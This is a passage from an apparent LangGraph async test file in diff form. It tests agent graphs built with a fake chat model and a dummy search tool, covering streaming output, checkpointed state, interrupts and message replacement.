{"query": "a third one"}, + }, + ], + ), + AIMessage(content="answer"), + ] + ) + + @tool() + def search_api(query: str) -> str: + """Searches the API for the query.""" + return f"result for {query}" + + tools = [search_api] + + app = create_react_agent(model, tools) + + assert await app.ainvoke( + {"messages": [HumanMessage(content="what is weather in sf")]} + ) == { + "messages": [ + _AnyIdHumanMessage(content="what is weather in sf"), + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + }, + ], + ), + _AnyIdToolMessage( + content="result for query", + name="search_api", + tool_call_id="tool_call123", + ), + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "id": "tool_call234", + "name": "search_api", + "args": {"query": "another"}, + }, + { + "id": "tool_call567", + "name": "search_api", + "args": {"query": "a third one"}, + }, + ], + ), + _AnyIdToolMessage( + content="result for another", + name="search_api", + tool_call_id="tool_call234", + ), + _AnyIdToolMessage( + content="result for a third one", + name="search_api", + tool_call_id="tool_call567", + id=AnyStr(), + ), + _AnyIdAIMessage(content="answer"), + ] + } + + events = [ + c + async for c in app.astream( + {"messages": [HumanMessage(content="what is weather in sf")]}, + stream_mode="messages", + ) + ] + + assert events[:3] == [ + ( + _AnyIdAIMessageChunk( + content="", + tool_calls=[ + { + "name": "search_api", + "args": {"query": "query"}, + "id": "tool_call123", + "type": "tool_call", + } + ], + tool_call_chunks=[ + { + "name": "search_api", + "args": '{"query": "query"}', + "id": "tool_call123", + "index": None, + "type": "tool_call_chunk", + } + ], + chunk_position="last", + ), + { + "langgraph_step": 1, + "langgraph_node": "agent", + "langgraph_triggers": ("branch:to:agent",), + "langgraph_path": (PULL, "agent"), + "langgraph_checkpoint_ns": AnyStr("agent:"), + "checkpoint_ns": AnyStr("agent:"), + "ls_provider": "fakechatmodel", + "ls_model_type": "chat", + "ls_integration": "langchain_chat_model", + "lc_versions": {"langchain-core": LANGCHAIN_CORE_VERSION}, + }, + ), + ( + _AnyIdToolMessage( + content="result for query", + name="search_api", + tool_call_id="tool_call123", + ), + { + "ls_integration": "langgraph", + "langgraph_step": 2, + "langgraph_node": "tools", + "langgraph_triggers": (PUSH,), + "langgraph_path": (PUSH, AnyInt(), False), + "langgraph_checkpoint_ns": AnyStr("tools:"), + }, + ), + ( + _AnyIdAIMessageChunk( + content="", + tool_calls=[ + { + "name": "search_api", + "args": {"query": "another"}, + "id": "tool_call234", + "type": "tool_call", + }, + { + "name": "search_api", + "args": {"query": "a third one"}, + "id": "tool_call567", + "type": "tool_call", + }, + ], + tool_call_chunks=[ + { + "name": "search_api", + "args": '{"query": "another"}', + "id": "tool_call234", + "index": None, + "type": "tool_call_chunk", + }, + { + "name": "search_api", + "args": '{"query": "a third one"}', + "id": "tool_call567", + "index": None, + "type": "tool_call_chunk", + }, + ], + chunk_position="last", + ), + { + "langgraph_step": 3, + "langgraph_node": "agent", + "langgraph_triggers": ("branch:to:agent",), + "langgraph_path": (PULL, "agent"), + "langgraph_checkpoint_ns": AnyStr("agent:"), + "checkpoint_ns": AnyStr("agent:"), + "ls_provider": "fakechatmodel", + "ls_model_type": "chat", + "ls_integration": "langchain_chat_model", + "lc_versions": {"langchain-core": LANGCHAIN_CORE_VERSION}, + }, + ), + ] + + assert events[3:5] == UnsortedSequence( + ( + _AnyIdToolMessage( + content="result for another", + name="search_api", + tool_call_id="tool_call234", + ), + { + "ls_integration": "langgraph", + "langgraph_step": 4, + "langgraph_node": "tools", + "langgraph_triggers": (PUSH,), + "langgraph_path": (PUSH, AnyInt(), False), + "langgraph_checkpoint_ns": AnyStr("tools:"), + }, + ), + ( + _AnyIdToolMessage( + content="result for a third one", + name="search_api", + tool_call_id="tool_call567", + ), + { + "ls_integration": "langgraph", + "langgraph_step": 4, + "langgraph_node": "tools", + "langgraph_triggers": (PUSH,), + "langgraph_path": (PUSH, AnyInt(), False), + "langgraph_checkpoint_ns": AnyStr("tools:"), + }, + ), + ) + assert events[5:] == [ + ( + _AnyIdAIMessageChunk( + content="answer", + chunk_position="last", + ), + { + "langgraph_step": 5, + "langgraph_node": "agent", + "langgraph_triggers": ("branch:to:agent",), + "langgraph_path": (PULL, "agent"), + "langgraph_checkpoint_ns": AnyStr("agent:"), + "checkpoint_ns": AnyStr("agent:"), + "ls_provider": "fakechatmodel", + "ls_model_type": "chat", + "ls_integration": "langchain_chat_model", + "lc_versions": {"langchain-core": LANGCHAIN_CORE_VERSION}, + }, + ), + ] + + stream_updates_events = [ + c + async for c in app.astream( + {"messages": [HumanMessage(content="what is weather in sf")]} + ) + ] + assert stream_updates_events[:3] == [ + { + "agent": { + "messages": [ + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + }, + ], + ) + ] + } + }, + { + "tools": { + "messages": [ + _AnyIdToolMessage( + content="result for query", + name="search_api", + tool_call_id="tool_call123", + ) + ] + } + }, + { + "agent": { + "messages": [ + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "id": "tool_call234", + "name": "search_api", + "args": {"query": "another"}, + }, + { + "id": "tool_call567", + "name": "search_api", + "args": {"query": "a third one"}, + }, + ], + ) + ] + } + }, + ] + assert stream_updates_events[3:5] == UnsortedSequence( + { + "tools": { + "messages": [ + _AnyIdToolMessage( + content="result for another", + name="search_api", + tool_call_id="tool_call234", + ), + ] + } + }, + { + "tools": { + "messages": [ + _AnyIdToolMessage( + content="result for a third one", + name="search_api", + tool_call_id="tool_call567", + ), + ] + } + }, + ) + assert stream_updates_events[5:] == [ + {"agent": {"messages": [_AnyIdAIMessage(content="answer")]}} + ] + + +async def test_state_graph_packets(async_checkpointer: BaseCheckpointSaver) -> None: + from langchain_core.language_models.fake_chat_models import ( + FakeMessagesListChatModel, + ) + from langchain_core.messages import ( + AIMessage, + BaseMessage, + HumanMessage, + ToolMessage, + ) + from langchain_core.tools import tool + + class AgentState(TypedDict): + messages: Annotated[list[BaseMessage], add_messages] + + @tool() + def search_api(query: str) -> str: + """Searches the API for the query.""" + return f"result for {query}" + + tools = [search_api] + tools_by_name = {t.name: t for t in tools} + + model = FakeMessagesListChatModel( + responses=[ + AIMessage( + id="ai1", + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + }, + ], + ), + AIMessage( + id="ai2", + content="", + tool_calls=[ + { + "id": "tool_call234", + "name": "search_api", + "args": {"query": "another", "idx": 0}, + }, + { + "id": "tool_call567", + "name": "search_api", + "args": {"query": "a third one", "idx": 1}, + }, + ], + ), + AIMessage(id="ai3", content="answer"), + ] + ) + + # Define decision-making logic + def should_continue(data: AgentState) -> str: + # Logic to decide whether to continue in the loop or exit + if tool_calls := data["messages"][-1].tool_calls: + return [Send("tools", tool_call) for tool_call in tool_calls] + else: + return END + + async def tools_node(input: ToolCall, config: RunnableConfig) -> AgentState: + await asyncio.sleep(input["args"].get("idx", 0) / 10) + output = await tools_by_name[input["name"]].ainvoke(input["args"], config) + return { + "messages": ToolMessage( + content=output, name=input["name"], tool_call_id=input["id"] + ) + } + + # Define a new graph + workflow = StateGraph(AgentState) + + # Define the two nodes we will cycle between + workflow.add_node("agent", {"messages": RunnablePick("messages") | model}) + workflow.add_node("tools", tools_node) + + # Set the entrypoint as `agent` + # This means that this node is the first one called + workflow.set_entry_point("agent") + + # We now add a conditional edge + workflow.add_conditional_edges("agent", should_continue) + + # We now add a normal edge from `tools` to `agent`. + # This means that after `tools` is called, `agent` node is called next. + workflow.add_edge("tools", "agent") + + # Finally, we compile it! + # This compiles it into a LangChain Runnable, + # meaning you can use it as you would any other runnable + app = workflow.compile() + + assert await app.ainvoke( + {"messages": HumanMessage(content="what is weather in sf")} + ) == { + "messages": [ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + id="ai1", + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + }, + ], + ), + _AnyIdToolMessage( + content="result for query", + name="search_api", + tool_call_id="tool_call123", + ), + AIMessage( + id="ai2", + content="", + tool_calls=[ + { + "id": "tool_call234", + "name": "search_api", + "args": {"query": "another", "idx": 0}, + }, + { + "id": "tool_call567", + "name": "search_api", + "args": {"query": "a third one", "idx": 1}, + }, + ], + ), + _AnyIdToolMessage( + content="result for another", + name="search_api", + tool_call_id="tool_call234", + ), + _AnyIdToolMessage( + content="result for a third one", + name="search_api", + tool_call_id="tool_call567", + ), + AIMessage(content="answer", id="ai3"), + ] + } + + assert [ + c + async for c in app.astream( + {"messages": [HumanMessage(content="what is weather in sf")]} + ) + ] == [ + { + "agent": { + "messages": AIMessage( + id="ai1", + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + }, + ], + ) + }, + }, + { + "tools": { + "messages": _AnyIdToolMessage( + content="result for query", + name="search_api", + tool_call_id="tool_call123", + ) + } + }, + { + "agent": { + "messages": AIMessage( + id="ai2", + content="", + tool_calls=[ + { + "id": "tool_call234", + "name": "search_api", + "args": {"query": "another", "idx": 0}, + }, + { + "id": "tool_call567", + "name": "search_api", + "args": {"query": "a third one", "idx": 1}, + }, + ], + ) + } + }, + { + "tools": { + "messages": _AnyIdToolMessage( + content="result for another", + name="search_api", + tool_call_id="tool_call234", + ) + }, + }, + { + "tools": { + "messages": _AnyIdToolMessage( + content="result for a third one", + name="search_api", + tool_call_id="tool_call567", + ), + }, + }, + {"agent": {"messages": AIMessage(content="answer", id="ai3")}}, + ] + + # interrupt after agent + + app_w_interrupt = workflow.compile( + checkpointer=async_checkpointer, + interrupt_after=["agent"], + ) + config = {"configurable": {"thread_id": "1"}} + + assert [ + c + async for c in app_w_interrupt.astream( + {"messages": HumanMessage(content="what is weather in sf")}, + config, + durability="exit", + ) + ] == [ + { + "agent": { + "messages": AIMessage( + id="ai1", + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + }, + ], + ) + } + }, + {"__interrupt__": ()}, + ] + + assert await app_w_interrupt.aget_state(config) == StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + id="ai1", + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + }, + ], + ), + ] + }, + tasks=(PregelTask(AnyStr(), "tools", (PUSH, 0, False)),), + next=("tools",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "loop", + "step": 1, + }, + parent_config=None, + interrupts=(), + ) + + # modify ai message + last_message = (await app_w_interrupt.aget_state(config)).values["messages"][-1] + last_message.tool_calls[0]["args"]["query"] = "a different query" + await app_w_interrupt.aupdate_state(config, {"messages": last_message}) + + # message was replaced instead of appended + tup = await app_w_interrupt.checkpointer.aget_tuple(config) + assert await app_w_interrupt.aget_state(config) == StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + id="ai1", + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "a different query"}, + }, + ], + ), + ] + }, + tasks=(PregelTask(AnyStr(), "tools", (PUSH, 0, False)),), + next=("tools",), + config=tup.config, + created_at=tup.checkpoint["ts"], + metadata={ + "parents": {}, + "source": "update", + "step": 2, + }, + parent_config=( + [c async for c in app_w_interrupt.checkpointer.alist(config, limit=2)][ + -1 + ].config + ), + interrupts=(), + ) + + assert [c async for c in app_w_interrupt.astream(None, config)] == [ + { + "tools": { + "messages": _AnyIdToolMessage( + content="result for a different query", + name="search_api", + tool_call_id="tool_call123", + ) + } + }, + { + "agent": { + "messages": AIMessage( + id="ai2", + content="", + tool_calls=[ + { + "id": "tool_call234", + "name": "search_api", + "args": {"query": "another", "idx": 0}, + }, + { + "id": "tool_call567", + "name": "search_api", + "args": {"query": "a third one", "idx": 1}, + }, + ], + ) + }, + }, + {"__interrupt__": ()}, + ] + + tup = await app_w_interrupt.checkpointer.aget_tuple(config) + assert await app_w_interrupt.aget_state(config) == StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + id="ai1", + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "a different query"}, + }, + ], + ), + _AnyIdToolMessage( + content="result for a different query", + name="search_api", + tool_call_id="tool_call123", + ), + AIMessage( + id="ai2", + content="", + tool_calls=[ + { + "id": "tool_call234", + "name": "search_api", + "args": {"query": "another", "idx": 0}, + }, + { + "id": "tool_call567", + "name": "search_api", + "args": {"query": "a third one", "idx": 1}, + }, + ], + ), + ] + }, + tasks=( + PregelTask(AnyStr(), "tools", (PUSH, 0, False)), + PregelTask(AnyStr(), "tools", (PUSH, 1, False)), + ), + next=("tools", "tools"), + config=tup.config, + created_at=tup.checkpoint["ts"], + metadata={ + "parents": {}, + "source": "loop", + "step": 4, + }, + parent_config=( + [c async for c in app_w_interrupt.checkpointer.alist(config, limit=2)][ + -1 + ].config + ), + interrupts=(), + ) + + await app_w_interrupt.aupdate_state( + config, + {"messages": AIMessage(content="answer", id="ai2")}, + ) + + # replaces message even if object identity is different, as long as id is the same + tup = await app_w_interrupt.checkpointer.aget_tuple(config) + assert await app_w_interrupt.aget_state(config) == StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + id="ai1", + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "a different query"}, + }, + ], + ), + _AnyIdToolMessage( + content="result for a different query", + name="search_api", + tool_call_id="tool_call123", + ), + AIMessage(content="answer", id="ai2"), + ] + }, + tasks=(), + next=(), + config=tup.config, + created_at=tup.checkpoint["ts"], + metadata={ + "parents": {}, + "source": "update", + "step": 5, + }, + parent_config=( + [c async for c in app_w_interrupt.checkpointer.alist(config, limit=2)][ + -1 + ].config + ), + interrupts=(), + ) + + # interrupt before tools + + app_w_interrupt = workflow.compile( + checkpointer=async_checkpointer, + interrupt_before=["tools"], + ) + config = {"configurable": {"thread_id": "2"}} + model.i = 0 + + assert [ + c + async for c in app_w_interrupt.astream( + {"messages": HumanMessage(content="what is weather in sf")}, + config, + durability="exit", + ) + ] == [ + { + "agent": { + "messages": AIMessage( + id="ai1", + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + }, + ], + ) + } + }, + {"__interrupt__": ()}, + ] + tup = await app_w_interrupt.checkpointer.aget_tuple(config) + assert await app_w_interrupt.aget_state(config) == StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + id="ai1", + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + }, + ], + ), + ] + }, + tasks=(PregelTask(AnyStr(), "tools", (PUSH, 0, False)),), + next=("tools",), + config=tup.config, + created_at=tup.checkpoint["ts"], + metadata={ + "parents": {}, + "source": "loop", + "step": 1, + }, + parent_config=None, + interrupts=(), + ) + + # modify ai message + last_message = (await app_w_interrupt.aget_state(config)).values["messages"][-1] + last_message.tool_calls[0]["args"]["query"] = "a different query" + await app_w_interrupt.aupdate_state(config, {"messages": last_message}) + + # message was replaced instead of appended + tup = await app_w_interrupt.checkpointer.aget_tuple(config) + assert await app_w_interrupt.aget_state(config) == StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + id="ai1", + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "a different query"}, + }, + ], + ), + ] + }, + tasks=(PregelTask(AnyStr(), "tools", (PUSH, 0, False)),), + next=("tools",), + config=tup.config, + created_at=tup.checkpoint["ts"], + metadata={ + "parents": {}, + "source": "update", + "step": 2, + }, + parent_config=( + [c async for c in app_w_interrupt.checkpointer.alist(config, limit=2)][ + -1 + ].config + ), + interrupts=(), + ) + + assert [c async for c in app_w_interrupt.astream(None, config)] == [ + { + "tools": { + "messages": _AnyIdToolMessage( + content="result for a different query", + name="search_api", + tool_call_id="tool_call123", + ) + } + }, + { + "agent": { + "messages": AIMessage( + id="ai2", + content="", + tool_calls=[ + { + "id": "tool_call234", + "name": "search_api", + "args": {"query": "another", "idx": 0}, + }, + { + "id": "tool_call567", + "name": "search_api", + "args": {"query": "a third one", "idx": 1}, + }, + ], + ) + }, + }, + {"__interrupt__": ()}, + ] + + tup = await app_w_interrupt.checkpointer.aget_tuple(config) + assert await app_w_interrupt.aget_state(config) == StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + id="ai1", + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "a different query"}, + }, + ], + ), + _AnyIdToolMessage( + content="result for a different query", + name="search_api", + tool_call_id="tool_call123", + ), + AIMessage( + id="ai2", + content="", + tool_calls=[ + { + "id": "tool_call234", + "name": "search_api", + "args": {"query": "another", "idx": 0}, + }, + { + "id": "tool_call567", + "name": "search_api", + "args": {"query": "a third one", "idx": 1}, + }, + ], + ), + ] + }, + tasks=( + PregelTask(AnyStr(), "tools", (PUSH, 0, False)), + PregelTask(AnyStr(), "tools", (PUSH, 1, False)), + ), + next=("tools", "tools"), + config=tup.config, + created_at=tup.checkpoint["ts"], + metadata={ + "parents": {}, + "source": "loop", + "step": 4, + }, + parent_config=( + [c async for c in app_w_interrupt.checkpointer.alist(config, limit=2)][ + -1 + ].config + ), + interrupts=(), + ) + + await app_w_interrupt.aupdate_state( + config, + {"messages": AIMessage(content="answer", id="ai2")}, + ) + + # replaces message even if object identity is different, as long as id is the same + tup = await app_w_interrupt.checkpointer.aget_tuple(config) + assert await app_w_interrupt.aget_state(config) == StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + id="ai1", + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "a different query"}, + }, + ], + ), + _AnyIdToolMessage( + content="result for a different query", + name="search_api", + tool_call_id="tool_call123", + ), + AIMessage(content="answer", id="ai2"), + ] + }, + tasks=(), + next=(), + config=tup.config, + created_at=tup.checkpoint["ts"], + metadata={ + "parents": {}, + "source": "update", + "step": 5, + }, + parent_config=( + [c async for c in app_w_interrupt.checkpointer.alist(config, limit=2)][ + -1 + ].config + ), + interrupts=(), + ) + + +async def test_message_graph(async_checkpointer: BaseCheckpointSaver) -> None: + from langchain_core.language_models.fake_chat_models import ( + FakeMessagesListChatModel, + ) + from langchain_core.messages import AIMessage, HumanMessage + from langchain_core.tools import tool + + class FakeFunctionChatModel(FakeMessagesListChatModel): + def bind_functions(self, functions: list): + return self + + @tool() + def search_api(query: str) -> str: + """Searches the API for the query.""" + return f"result for {query}" + + tools = [search_api] + + model = FakeFunctionChatModel( + responses=[ + AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + } + ], + id="ai1", + ), + AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call456", + "name": "search_api", + "args": {"query": "another"}, + } + ], + id="ai2", + ), + AIMessage(content="answer", id="ai3"), + ] + ) + + # Define the function that determines whether to continue or not + def should_continue(messages): + last_message = messages[-1] + # If there is no function call, then we finish + if not last_message.tool_calls: + return "end" + # Otherwise if there is, we continue + else: + return "continue" + + # Define a new graph + workflow = StateGraph(state_schema=Annotated[list[AnyMessage], add_messages]) # type: ignore[arg-type] + + # Define the two nodes we will cycle between + workflow.add_node("agent", model) + workflow.add_node("tools", ToolNode(tools)) + + # Set the entrypoint as `agent` + # This means that this node is the first one called + workflow.set_entry_point("agent") + + # We now add a conditional edge + workflow.add_conditional_edges( + # First, we define the start node. We use `agent`. + # This means these are the edges taken after the `agent` node is called. + "agent", + # Next, we pass in the function that will determine which node is called next. + should_continue, + # Finally we pass in a mapping. + # The keys are strings, and the values are other nodes. + # END is a special node marking that the graph should finish. + # What will happen is we will call `should_continue`, and then the output of that + # will be matched against the keys in this mapping. + # Based on which one it matches, that node will then be called. + { + # If `tools`, then we call the tool node. + "continue": "tools", + # Otherwise we finish. + "end": END, + }, + ) + + # We now add a normal edge from `tools` to `agent`. + # This means that after `tools` is called, `agent` node is called next. + workflow.add_edge("tools", "agent") + + # Finally, we compile it! + # This compiles it into a LangChain Runnable, + # meaning you can use it as you would any other runnable + app = workflow.compile() + + assert await app.ainvoke([HumanMessage(content="what is weather in sf")]) == [ + _AnyIdHumanMessage( + content="what is weather in sf", + ), + AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + } + ], + id="ai1", # respects ids passed in + ), + _AnyIdToolMessage( + content="result for query", + name="search_api", + tool_call_id="tool_call123", + ), + AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call456", + "name": "search_api", + "args": {"query": "another"}, + } + ], + id="ai2", + ), + _AnyIdToolMessage( + content="result for another", + name="search_api", + tool_call_id="tool_call456", + ), + AIMessage(content="answer", id="ai3"), + ] + + assert [ + c async for c in app.astream([HumanMessage(content="what is weather in sf")]) + ] == [ + { + "agent": AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + } + ], + id="ai1", + ) + }, + { + "tools": [ + _AnyIdToolMessage( + content="result for query", + name="search_api", + tool_call_id="tool_call123", + ) + ] + }, + { + "agent": AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call456", + "name": "search_api", + "args": {"query": "another"}, + } + ], + id="ai2", + ) + }, + { + "tools": [ + _AnyIdToolMessage( + content="result for another", + name="search_api", + tool_call_id="tool_call456", + ) + ] + }, + {"agent": AIMessage(content="answer", id="ai3")}, + ] + + app_w_interrupt = workflow.compile( + checkpointer=async_checkpointer, + interrupt_after=["agent"], + ) + config = {"configurable": {"thread_id": "1"}} + + assert [ + c + async for c in app_w_interrupt.astream( + HumanMessage(content="what is weather in sf"), + config, + durability="exit", + ) + ] == [ + { + "agent": AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + } + ], + id="ai1", + ) + }, + {"__interrupt__": ()}, + ] + + tup = await app_w_interrupt.checkpointer.aget_tuple(config) + assert await app_w_interrupt.aget_state(config) == StateSnapshot( + values=[ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + } + ], + id="ai1", + ), + ], + tasks=(PregelTask(AnyStr(), "tools", (PULL, "tools")),), + next=("tools",), + config=tup.config, + created_at=tup.checkpoint["ts"], + metadata={ + "parents": {}, + "source": "loop", + "step": 1, + }, + parent_config=None, + interrupts=(), + ) + + # modify ai message + last_message = (await app_w_interrupt.aget_state(config)).values[-1] + last_message.tool_calls[0]["args"] = {"query": "a different query"} + await app_w_interrupt.aupdate_state(config, last_message) + + # message was replaced instead of appended + tup = await app_w_interrupt.checkpointer.aget_tuple(config) + assert await app_w_interrupt.aget_state(config) == StateSnapshot( + values=[ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + content="", + id="ai1", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "a different query"}, + } + ], + ), + ], + tasks=(PregelTask(AnyStr(), "tools", (PULL, "tools")),), + next=("tools",), + config=tup.config, + created_at=tup.checkpoint["ts"], + metadata={ + "parents": {}, + "source": "update", + "step": 2, + }, + parent_config=( + [c async for c in app_w_interrupt.checkpointer.alist(config, limit=2)][ + -1 + ].config + ), + interrupts=(), + ) + + assert [c async for c in app_w_interrupt.astream(None, config)] == [ + { + "tools": [ + _AnyIdToolMessage( + content="result for a different query", + name="search_api", + tool_call_id="tool_call123", + ) + ] + }, + { + "agent": AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call456", + "name": "search_api", + "args": {"query": "another"}, + } + ], + id="ai2", + ) + }, + {"__interrupt__": ()}, + ] + + tup = await app_w_interrupt.checkpointer.aget_tuple(config) + assert await app_w_interrupt.aget_state(config) == StateSnapshot( + values=[ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + content="", + id="ai1", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "a different query"}, + } + ], + ), + _AnyIdToolMessage( + content="result for a different query", + name="search_api", + tool_call_id="tool_call123", + ), + AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call456", + "name": "search_api", + "args": {"query": "another"}, + } + ], + id="ai2", + ), + ], + tasks=(PregelTask(AnyStr(), "tools", (PULL, "tools")),), + next=("tools",), + config=tup.config, + created_at=tup.checkpoint["ts"], + metadata={ + "parents": {}, + "source": "loop", + "step": 4, + }, + parent_config=( + [c async for c in app_w_interrupt.checkpointer.alist(config, limit=2)][ + -1 + ].config + ), + interrupts=(), + ) + + await app_w_interrupt.aupdate_state( + config, + AIMessage(content="answer", id="ai2"), + ) + + # replaces message even if object identity is different, as long as id is the same + tup = await app_w_interrupt.checkpointer.aget_tuple(config) + assert await app_w_interrupt.aget_state(config) == StateSnapshot( + values=[ + _AnyIdHumanMessage(content="what is weather in sf"), + AIMessage( + content="", + id="ai1", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "a different query"}, + } + ], + ), + _AnyIdToolMessage( + content="result for a different query", + name="search_api", + tool_call_id="tool_call123", + ), + AIMessage(content="answer", id="ai2"), + ], + tasks=(), + next=(), + config=tup.config, + created_at=tup.checkpoint["ts"], + metadata={ + "parents": {}, + "source": "update", + "step": 5, + }, + parent_config=( + [c async for c in app_w_interrupt.checkpointer.alist(config, limit=2)][ + -1 + ].config + ), + interrupts=(), + ) + + +async def test_in_one_fan_out_out_one_graph_state() -> None: + def sorted_add(x: list[str], y: list[str]) -> list[str]: + return sorted(operator.add(x, y)) + + class State(TypedDict, total=False): + query: str + answer: str + docs: Annotated[list[str], operator.add] + + async def rewrite_query(data: State) -> State: + return {"query": f"query: {data['query']}"} + + async def retriever_one(data: State) -> State: + await asyncio.sleep(0.1) + return {"docs": ["doc1", "doc2"]} + + async def retriever_two(data: State) -> State: + return {"docs": ["doc3", "doc4"]} + + async def qa(data: State) -> State: + return {"answer": ",".join(data["docs"])} + + workflow = StateGraph(State) + + workflow.add_node("rewrite_query", rewrite_query) + workflow.add_node("retriever_one", retriever_one) + workflow.add_node("retriever_two", retriever_two) + workflow.add_node("qa", qa) + + workflow.set_entry_point("rewrite_query") + workflow.add_edge("rewrite_query", "retriever_one") + workflow.add_edge("rewrite_query", "retriever_two") + workflow.add_edge("retriever_one", "qa") + workflow.add_edge("retriever_two", "qa") + workflow.set_finish_point("qa") + + app = workflow.compile() + + assert await app.ainvoke({"query": "what is weather in sf"}) == { + "query": "query: what is weather in sf", + "docs": ["doc1", "doc2", "doc3", "doc4"], + "answer": "doc1,doc2,doc3,doc4", + } + + assert [c async for c in app.astream({"query": "what is weather in sf"})] == [ + {"rewrite_query": {"query": "query: what is weather in sf"}}, + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + {"qa": {"answer": "doc1,doc2,doc3,doc4"}}, + ] + + assert [ + c + async for c in app.astream( + {"query": "what is weather in sf"}, stream_mode="values" + ) + ] == [ + {"query": "what is weather in sf", "docs": []}, + {"query": "query: what is weather in sf", "docs": []}, + { + "query": "query: what is weather in sf", + "docs": ["doc1", "doc2", "doc3", "doc4"], + }, + { + "query": "query: what is weather in sf", + "docs": ["doc1", "doc2", "doc3", "doc4"], + "answer": "doc1,doc2,doc3,doc4", + }, + ] + + assert [ + c + async for c in app.astream( + {"query": "what is weather in sf"}, + stream_mode=["values", "updates", "debug"], + ) + ] == [ + ("values", {"query": "what is weather in sf", "docs": []}), + ( + "debug", + { + "type": "task", + "timestamp": AnyStr(), + "step": 1, + "payload": { + "id": AnyStr(), + "name": "rewrite_query", + "input": {"query": "what is weather in sf", "docs": []}, + "triggers": ("branch:to:rewrite_query",), + }, + }, + ), + ("updates", {"rewrite_query": {"query": "query: what is weather in sf"}}), + ( + "debug", + { + "type": "task_result", + "timestamp": AnyStr(), + "step": 1, + "payload": { + "id": AnyStr(), + "name": "rewrite_query", + "result": { + "query": "query: what is weather in sf", + }, + "error": None, + "interrupts": [], + }, + }, + ), + ("values", {"query": "query: what is weather in sf", "docs": []}), + ( + "debug", + { + "type": "task", + "timestamp": AnyStr(), + "step": 2, + "payload": { + "id": AnyStr(), + "name": "retriever_one", + "input": {"query": "query: what is weather in sf", "docs": []}, + "triggers": ("branch:to:retriever_one",), + }, + }, + ), + ( + "debug", + { + "type": "task", + "timestamp": AnyStr(), + "step": 2, + "payload": { + "id": AnyStr(), + "name": "retriever_two", + "input": {"query": "query: what is weather in sf", "docs": []}, + "triggers": ("branch:to:retriever_two",), + }, + }, + ), + ( + "updates", + {"retriever_two": {"docs": ["doc3", "doc4"]}}, + ), + ( + "debug", + { + "type": "task_result", + "timestamp": AnyStr(), + "step": 2, + "payload": { + "id": AnyStr(), + "name": "retriever_two", + "result": { + "docs": ["doc3", "doc4"], + }, + "error": None, + "interrupts": [], + }, + }, + ), + ( + "updates", + {"retriever_one": {"docs": ["doc1", "doc2"]}}, + ), + ( + "debug", + { + "type": "task_result", + "timestamp": AnyStr(), + "step": 2, + "payload": { + "id": AnyStr(), + "name": "retriever_one", + "result": { + "docs": ["doc1", "doc2"], + }, + "error": None, + "interrupts": [], + }, + }, + ), + ( + "values", + { + "query": "query: what is weather in sf", + "docs": ["doc1", "doc2", "doc3", "doc4"], + }, + ), + ( + "debug", + { + "type": "task", + "timestamp": AnyStr(), + "step": 3, + "payload": { + "id": AnyStr(), + "name": "qa", + "input": { + "query": "query: what is weather in sf", + "docs": ["doc1", "doc2", "doc3", "doc4"], + 